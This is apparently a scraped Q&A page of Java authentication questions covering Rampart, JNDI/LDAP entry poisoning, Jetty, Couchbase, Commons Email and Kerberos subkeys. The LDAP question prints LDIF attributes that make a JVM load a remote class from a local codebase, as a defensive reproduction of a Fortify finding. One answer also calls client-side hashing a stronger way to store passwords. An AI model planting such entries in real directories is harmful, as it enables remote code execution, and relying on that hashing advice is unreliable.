usernametoken-auth rampart/axis2 1.6.2 - java

I just upgraded to the latest axis2/rampart version and encounter a strange behavior when providing a webservice which requires username-passwort authentification.
up to now, I implemented my own passwordcallback-handler which handled WSPasswordCallbacks of type WSPasswordCallback.USERNAME_TOKEN_UNKNOWN. I looked up the provided user in the DB and checked the given password.
in the latest version, the passwordcallback-usage always seems to be WSPasswordCallback.USERNAME_TOKEN where I have to provide the password for the given user - but I'm not able to provide the password, because I don't store the passwords plaintext.
do I have to write my own org.apache.ws.security.validate.UsernameTokenValidator? where do I have to register it?

I wrote a summary here on Stackoverflow of my encounter with this problem, and the workarounds I've found to this, read it here.

Related

LDAP Entry Poisoning Fixed in jdk-8u191?

Fortify has reported an LDAP Entry Poisoning vulnerability in one of my Spring applications. You can get additional information on this vulnerability from the following links:
https://www.youtube.com/watch?v=Y8a5nB-vy78&feature=youtu.be&t=2111
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf
I decided to try and prove for myself if this was still a vulnerability. I did this by using Spring Tool Suite:
file -> new -> import spring getting started content
searched for ldap
and imported the Authenticating Ldap -> complete code set
https://spring.io/guides/gs/authenticating-ldap/
I then added the following lines to the included test-server.ldif file to the entry for bob as well as the entry for developers:
javaFactory: PayloadObject
objectClass: javaNamingReference
javaCodebase: http://127.0.0.1:9999/
javaClassName: PayloadObject
In order to run this, I needed to add the following line to application.properties:
spring.ldap.embedded.validation.enabled=false
I started up Wireshark and ran the Spring sample app, and sure enough, when I logged in with bob, I got a hit in Wireshark on port 9999.
When I asked a co-worker to test the same thing, he was unable to reproduce. After some research, we discovered that he had a newer jdk than I, and after I updated my jdk, I, too, was unable to reproduce the issue.
We narrowed it down to jdk-8u191 was the version that introduced "the fix", but I can't find anything that explains why or how it was fixed in the java release notes.
My question is - is LDAP Entry Poisoning now a false/positive if we're running jdk-8u191 or newer? Or is there some configuration option that can be set to override this "fix"?
8u191 closed a remote class loading vulnerability in LDAP, though research is ongoing. Whenever you are turning a stream of bytes into an Object in Java, you want to think about class loading (what 8u191 addressed), but also insecure deserialization.
When CVEs are addressed, they are not typically in the release notes.
As for whether or not the alert from Fortify is a false positive, I think it is more important to assess the risk relative to your application.
To leverage this vulnerability, for example, the attacker would at least need direct access to your LDAP instance (see pg 31), which likely indicates a larger security issue. 8u191 and after, the attacker would additionally need to find a class in your classpath that is vulnerable to insecure deserialization to reproduce what the BH talk demonstrates.

Add encryption to JDBCLoginService in Jetty

I've configured servlet, and other things needed to have role-based access to resources. I'm using JDBCLoginService to access roles data from DB. All works great, my only problem is: how to configure Jetty that in database I'll have passwords encrypted (preferably not MD5).
I found several docs saying you can run some tool given by jetty and it produces you MD5 or OBF, etc. But I wonder how to get list of avail ciphers?
I believe in table with users, column with password should have something like "MD5:897897979".
But I want to add users to this table by functionality like register/signup. So I need to encrypt password sent from browser and put to DB. But I can't control algorithm which is used by JDBCLoginService to check data sent by user from login page.
I believe it's implemented in some smart way that not much extra code is needed, but I can't just find info how to do it :/
I had a similar problem and tried to resort to the facilities provided by the Password class in the Jetty distribution.
However, eventually I couldn't adopt that approach since I was in need of storing the passwords hashed with a specific algorithm (namely sha256 or sha512) and I couldn't find a way to get the JDBCLoginService work with such hash algorithms.
This was kind of a let down, especially because Tomcat comes with the support of those algorithms out of the box when it comes to handle database-backed authentication scenarios.
I found this problem today. And the solution I ended doing is to have the sha256 calculated for the password input field in the browser side. You can do it on form submit or any other event if you are careful not to re-hash. Simple check or password length less that 64 would be sufficient to avoid rehash. I used the below to do the hash
https://developer.mozilla.org/en-US/docs/Web/API/SubtleCrypto/digest
Paradoxically this solution makes it stronger as the password is hashed from the browser itself. Of course it could be exploited from this same web app but not in others that do not use hashing from browser if the is is used for other authentications.

While using Couchbase Java SDK, why don't we provide a username and why doesn't password work?

I have been trying to use the java jdk to Couchbase. sdk v 3.2.3
However I find it strange that the examples provided never supply any password while connecting. Also I created a read-only user, and I see that the there is nowhere to provide the user-name while opening a bucket from a cluster, you only provide the password. I tried using the password for the admin and for the read-only user that I created. But it would fail with couchbase.client.java.error.InvalidPasswordException: Passwords for bucket "myBucket" do not match. It is the same password that I use when I login to the admin console, yet this password doesnot work. Only the empty password works.
I am confused and don't get the hang of it?
Anybody knows about this?
My aim was to create a read-only user and use this user credentials to only read data from couchbase for a specific module which is only supposed to read data.
At this moment, there is no read only data access to a bucket in Couchbase. Stay tuned as there will be lots of security changes in the coming versions of Couchbase.

Using digested password with Apache common Email

So I've been looking at the email package provided in apache's org.apache.commons.mail. The basic tutorial is simple , straightforward, and works well.
https://commons.apache.org/proper/commons-email/userguide.html
The problem I am experiencing is that I don't wish to create cleartext passwords. What I wish to do instead is to hash the password using MD5, store it that way, then create an email later at the appropriate time. The important thing is not to store a cleartext password in the system.
Reviewing the wiki article on SMTP Authentication
implies there are at least three methods to do this -- DIGEST-MD5, CRAM-MD5, and MD5 itself.
Googling, however, does not reveal any obvious way to make this happen with apache. It appears that Jetty wrote their own digestauthenticator to replace Apache's DefaultAuthenticator.
http://download.eclipse.org/jetty/stable-9/apidocs/org/eclipse/jetty/security/authentication/DigestAuthenticator.html
And Apache's Tomcat likewise has a DigestAuthenticator.
However, since neither of these inherit from
javax.mail.Authenticator
I can't simply swap them in.
So ... is there a simple way to configure org.apache.commons.mail.Email and its children to use digest authentication? I haven't been able to find any examples or tutorials , nor have I been able to find anything on kindle. But given that no one's used cleartext since about 1975 , I can't imagine this setting doesn't exist.
Respectfully,
Brian P.

Java-6 to Java-7 Kerberos - breaking behaviour change sessionKey now AP-REQ.Authenticator.subkey

I'm working on a project where we use JAAS/Krb5LoginModule with useTicketCache & doNotPrompt as well as the allowtgtsessionkey registry change to piggy back our authentication on the windows logon of the domain joined computer.
We then use jgss/kerberos to get a GSS API Kerberos Token (rfc1964) which we use to secure a SOAP Message using the WSS Kerberos Token Profile 1.1.1 when communicating with a service. This involves including the b64 encoded GSS Token in the Security element of the SOAP Envelope/Header and using the client/service sessionKey to sign a component of the element.
We are getting the client/sessionKey by querying the private credentials of the javax.security.auth.Subject which the JAAS/Krb5LoginModule returns and looking for a javax.security.auth.kerberos.KerberosTicket which matches our service peer name and invoking its getSessionKey().
All of this works fine in Java-6, however Java-7 clients are failing as there seems to have been a change in the Kerberos KRB_AP_REQ message that Java-7 creates. The Java-7 KRB_AP_REQ Authenticator contains a sub-key which is different to the sessionKey. Since the Kerberos specification (see excerpt below) says that this subkey supersedes the sessionKey then our Java-6 behaviour of using the sessionKey for signing is no longer correct.
RFC1510 - The Kerberos Network Authentication Service (V5)
5.3.2. Authenticators
subkey This field contains the client's choice for an encryption
key which is to be used to protect this specific
application session. Unless an application specifies
otherwise, if this field is left out the session key from
the ticket will be used.
I've not seen anywhere where this change is documented but have confirmed the behaviour at least in Java(TM) SE Runtime Environment (build 1.7.0_11-b21).
At this point unless I have missed something glaringly obvious (and I hope I have), our options seem to be:
Change the Java-7 Kerberos Configuration to revert to Java-6 behaviour - unfortunately I've not seen anything in the docs that seems to suggest that this is possible.
Find a way to get access to the subkey. For this options I have explored are
a. Decode the b64 encoded GSS Token, pull out the encrypted Authenticator, decrypt it using the sessionKey, decode the ASN.1 DER encoding and pull out the subkey.
b. Use what appears to be non-standard GSS API Extensions and use the ExtendedGSSContext.inquireSecContext() method with KRB5_GET_SESSION_KEY to get at the subKey.
Any suggestions/insight in to these or other possible options?
We also experience this issue when using JGSS Api in Java 1.7 to obtain the client's session key. Apparently, in Java 1.6 the sub-key was always cloned from the session key, see the sun.security.krb5.EncryptionKey constructor:
EncryptionKey(EncryptionKey encryptionkey)
throws KrbCryptoException
{
keyValue = (byte[])(byte[])encryptionkey.keyValue.clone();
keyType = encryptionkey.keyType;
}
Starting from Java 1.7.0_b07, this constructor utilizes java.security.SecureRandom to generate a new subkey. I think this has been done as part of JDK-4460771 : Kerberos should be able to generate sub-session keys. It seems that the com.sun.security.jgss.ExtendedGSSContext provides the "standard" way to access the subkey from now on (on Sun JVMs), so I guess we should use this class if it is available (on the underlying JVM), see:
JDK-6710360 : export Kerberos session key to applications
Thanks,
Detelin
I don't see anything in the ExtendedGSSContext.inquireSecContext() doc to indicate that it returns the subkey if present for KRB5_GET_SESSION_KEY; do you know from some other source that it does?
In any case, using the subkey is what you need to do. I would look at it this way: your original implementation was not correct, because the WSS Kerberos doc clearly states that the subkey is to be used if present. It just happened to work because the Java 6 Kerberos library did not generate a subkey. Now that one has appeared your bug is revealed, and you have to fix it.
I'm not familiar with WSS, but the doc seems to indicate that you can choose various encodings for the token, and one is to use GSSAPI instead of a Kerberos AP-REQ directly. Perhaps if you had used GSSAPI to begin with, it would have insulated you from this change -- and perhaps switching to it now would be the easiest fix.

Categories